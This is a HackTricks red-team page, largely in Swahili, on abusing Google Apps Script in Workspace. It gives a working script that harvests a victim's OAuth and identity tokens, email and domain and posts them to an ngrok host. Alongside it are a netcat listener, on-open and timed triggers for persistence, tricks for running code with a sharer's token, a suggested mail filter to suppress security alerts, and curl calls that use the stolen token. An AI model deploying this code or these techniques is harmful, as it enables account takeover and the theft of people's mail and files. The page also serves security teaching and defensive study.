GWS - App Scripts

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

App Scripts

App Scripts ni msimbo ambao utaanzishwa wakati mtumiaji mwenye ruhusa ya mhariri anapofikia hati ambayo App Script imeunganishwa nayo na baada ya kukubali ombi la OAuth.
Zinaweza pia kuwekwa ili zitekelezwe kila wakati fulani na mmiliki wa App Script (Persistence).

Unda App Script

Kuna njia kadhaa za kuunda App Script, ingawa njia maarufu zaidi ni kutoka kwa Hati ya Google (ya aina yoyote) na kama mradi huru:

Unda mradi uliofungwa kwenye kontena kutoka Google Docs, Sheets, au Slides
  1. Fungua hati ya Docs, karatasi ya Sheets, au uwasilishaji wa Slides.
  2. Bonyeza Extensions > Google Apps Script.
  3. Katika mhariri wa skripti, bonyeza Untitled project.
  4. Mpe mradi wako jina na bonyeza Rename.
Unda mradi huru

Ili kuunda mradi huru kutoka Apps Script:

  1. Nenda kwa script.google.com.
  2. Bonyeza New Project.
  3. Katika mhariri wa skripti, bonyeza Untitled project.
  4. Mpe mradi wako jina na bonyeza Rename.
Unda mradi huru kutoka Google Drive
  1. Fungua Google Drive.
  2. Bonyeza New > More > Google Apps Script.
Unda mradi uliofungwa kwenye kontena kutoka Google Forms
  1. Fungua fomu katika Google Forms.
  2. Bonyeza More more_vert > Script editor.
  3. Katika mhariri wa skripti, bonyeza Untitled project.
  4. Mpe mradi wako jina na bonyeza Rename.
Unda mradi huru ukitumia zana ya mstari wa amri clasp

clasp ni zana ya mstari wa amri inayokuruhusu kuunda, kuvuta/kusukuma, na kupeleka miradi ya Apps Script kutoka kwenye terminal.

Tazama Command Line Interface using clasp guide kwa maelezo zaidi.

App Script Scenario

Unda Google Sheet na App Script

Anza kwa kuunda App Script, mapendekezo yangu kwa ajili ya hali hii ni kuunda Google Sheet na nenda kwa Extensions > App Scripts, hii itafungua App Script mpya kwako iliyounganishwa na karatasi.

Leak token

Ili kutoa ufikiaji kwa token ya OAuth unahitaji kubonyeza Services + na kuongeza scopes kama:

  • AdminDirectory: Fikia watumiaji na vikundi vya directory (ikiwa mtumiaji ana ruhusa za kutosha)
  • Gmail: Ili kufikia data za gmail
  • Drive: Ili kufikia data za drive
  • Google Sheets API: Ili ifanye kazi na trigger

Ili kubadilisha scopes zinazohitajika unaweza kwenda kwenye mipangilio ya mradi na kuwezesha: Show "appsscript.json" manifest file in editor.

javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}

Ili kukamata ombi unaweza tu kukimbia:

bash
ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

warning

Kadri ombi la nje linatolewa, prompt ya OAuth itakuwa pia inahitaji ruhusa kufikia mwisho wa nje.

Create Trigger

Mara tu App inaposomwa, bonyeza ⏰ Triggers ili kuunda trigger. Kama function ya kutekeleza chagua getToken, inakimbia kwenye kutekelezwa Head, katika chanzo cha tukio chagua From spreadsheet na aina ya tukio chagua On open au On edit (kulingana na mahitaji yako) na uhifadhi.

Kumbuka kwamba unaweza kuangalia kimbio za App Scripts katika tab ya Executions ikiwa unataka kufanyia debug kitu.

Sharing

Ili kuanzisha App Script mhasiriwa anahitaji kuungana na Editor Access.

tip

Token inayotumika kutekeleza App Script itakuwa ya mwandishi wa trigger, hata kama faili imefunguliwa kama Mhariri na watumiaji wengine.

Abusing Shared With Me documents

caution

Ikiwa mtu amekushiriki hati yenye App Scripts na trigger ikitumia Head ya App Script (sio kutekelezwa kwa kudumu), unaweza kubadilisha msimbo wa App Script (kuongeza kwa mfano kazi za kuiba token), kuipata, na App Script itatekelezwa kwa ruhusa za mtumiaji aliyekushiriki hati hiyo! (kumbuka kwamba token ya OAuth ya wamiliki itakuwa na viwango vya ufikiaji vilivyotolewa wakati trigger ilipoundwa).

Taarifa itatumwa kwa mwandishi wa script ikionyesha kwamba mtu alibadilisha script (Je, kuhusu kutumia ruhusa za gmail kuunda kichujio kuzuia arifa?)

tip

Ikiwa mshambuliaji anabadilisha viwango vya App Script masasisho hayatawekwa kwenye hati hadi trigger mpya yenye mabadiliko itakapotengenezwa. Hivyo, mshambuliaji hataweza kuiba token ya mwandishi mwenye viwango zaidi kuliko ile aliyoweka kwenye trigger aliyounda.

Copying instead of sharing

Unapounda kiungo cha kushiriki hati, kiungo kinachofanana na hiki kinaundwa: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Ikiwa unabadilisha mwisho "/edit" kwa "/copy", badala ya kuipata google itakuuliza ikiwa unataka kuunda nakala ya hati:

Ikiwa mtumiaji atakipata na kukipata, maudhui ya hati na App Scripts vitakopywa, hata hivyo triggers hazitakopywa, hivyo hakuna kitu kitakachotekelezwa.

Sharing as Web Application

Kumbuka kwamba pia inawezekana kushiriki App Script kama programu ya wavuti (katika Mhariri wa App Script, tengeneza kama programu ya wavuti), lakini arifa kama hii itatokea:

Ikifuatwa na prompt ya kawaida ya OAuth inayoomba ruhusa zinazohitajika.

Testing

Unaweza kujaribu token iliyokusanywa ili orodhesha barua pepe na:

bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Orodha ya kalenda ya mtumiaji:

bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script kama Uendelevu

Moja ya chaguzi za uendelevu ingekuwa kuunda hati na kuongeza kichocheo kwa kazi ya getToken na kushiriki hati hiyo na mshambuliaji ili kila wakati mshambuliaji anapofungua faili an atoa token ya mwathirika.

Pia inawezekana kuunda App Script na kufanya ikichochewe kila X wakati (kama kila dakika, saa, siku...). Mshambuliaji ambaye ana akidi zilizovunjwa au kikao cha mwathirika anaweza kuweka kichocheo cha wakati cha App Script na kutoa token ya OAuth yenye mamlaka makubwa kila siku:

Tuunda App Script, nenda kwa Kichocheo, bonyeza Ongeza Kichocheo, na chagua kama chanzo cha tukio Kinasababishwa na Wakati na uchague chaguzi zinazokufaa:

caution

Hii itaunda barua pepe ya tahadhari ya usalama na ujumbe wa push kwa simu yako ikikujulisha kuhusu hili.

Kuepusha Kichocheo Kisichothibitishwa cha Hati Iliyosambazwa

Zaidi ya hayo, ikiwa mtu amekushiriki hati yenye ufikiaji wa mhariri, unaweza kuunda App Scripts ndani ya hati na MMILIKI (mwandaji) wa hati atakuwa mmiliki wa App Script.

warning

Hii inamaanisha, kwamba mwandaji wa hati ataonekana kama mwandishi wa App Script yoyote ambayo mtu yeyote mwenye ufikiaji wa mhariri anaunda ndani yake.

Hii pia inamaanisha kwamba App Script itakuwa na imani na mazingira ya Workspace ya mwandishi wa hati.

caution

Hii pia inamaanisha kwamba ikiwa App Script tayari ilikuwa ipo na watu wame pewa ufikiaji, mtu yeyote mwenye Uhariri ruhusa kwenye hati anaweza kuibadilisha na kutumia ufikiaji huo.
Ili kutumia hii unahitaji pia watu kuchochea App Script. Na hila moja nzuri ni kuchapisha script kama programu ya wavuti. Wakati watu ambao tayari wamepewa ufikiaji kwa App Script wanapofikia ukurasa wa wavuti, wat achochea App Script (hii pia inafanya kazi kwa kutumia <img> tags).

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks